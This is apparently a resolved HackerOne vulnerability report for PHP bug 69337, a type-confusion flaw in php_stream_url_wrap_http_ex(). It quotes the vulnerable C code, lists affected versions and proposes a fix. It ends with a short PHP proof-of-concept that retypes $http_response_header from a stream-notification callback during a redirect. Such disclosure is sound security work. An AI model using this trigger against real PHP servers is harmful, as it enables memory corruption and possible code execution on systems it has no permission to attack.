php_stream_url_wrap_http_ex() type-confusion vulnerability
Unknown
Vulnerability Details
https://bugs.php.net/bug.php?id=69337
Description:
------------
php_stream_url_wrap_http_ex() creates a $http_response_header array variable in the local execution scope (which may be the global scope).
Then it gets a pointer to this variable, and throughout the function's execution accesses it multiple times, assuming that:
1) the variable still exists
1) the variable is indeed an array
ext/standard/http_fopen_wrapper.c:
if (header_init) {
zval *ztmp;
MAKE_STD_ZVAL(ztmp);
array_init(ztmp);
ZEND_SET_SYMBOL(EG(active_symbol_table), "http_response_header", ztmp);
}
{
zval **rh;
zend_hash_find(EG(active_symbol_table), "http_response_header", sizeof("http_response_header"), (void **) &rh);
response_header = *rh;
}
.....
ZVAL_STRINGL(http_response, tmp_line, tmp_line_len, 1);
zend_hash_next_index_insert(Z_ARRVAL_P(response_header), &http_response, sizeof(zval *), NULL);
However, by using the stream notifications feature, an attacker can change the type of the $http_response_header variable before the function has finished executing, resulting in a type-confusion vulnerability, which has been shown several times in the past to lead to arbitrary code execution.
There are numerous stream notification codes that can be used for this purpose:
- STREAM_NOTIFY_REDIRECTED
- STREAM_NOTIFY_AUTH_RESULT
- STREAM_NOTIFY_FAILURE
And possibly others... The function should probably zval_add_ref() the $http_response_header as soon as its initialized, and then validate its type before every use, rather than assume its still an array.
Tested against:
- 64-bit PHP 5.5.9-1ubuntu4.7 (cli)
- 32-bit PHP 5.5.9-1ubuntu4.7 (cli)
- 32/64-bit PHP 5.6.7 (cli) (built: Mar 27 2015 07:04:21) (DEBUG) - custom build with ./configure --enable-debug
Test script:
---------------
<?php
function stream_notification_callback($notification_code, $severity, $message, $message_code, $bytes_transferred, $bytes_max)
{
if($notification_code == STREAM_NOTIFY_REDIRECTED)
{
// $http_response_header is now a string, but will be used as an array
// by php_stream_url_wrap_http_ex() later on
$GLOBALS['http_response_header'] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\0\0\0\0";
}
}
$ctx = stream_context_create();
stream_context_set_params($ctx, array("notification" => "stream_notification_callback"));
file_get_contents("http://php.net/get-involved", false, $ctx); // any url that causes a http redirection
?>
Actions
View on HackerOneReport Stats
- Report ID: 73247
- State: Closed
- Substate: resolved
- Upvotes: 3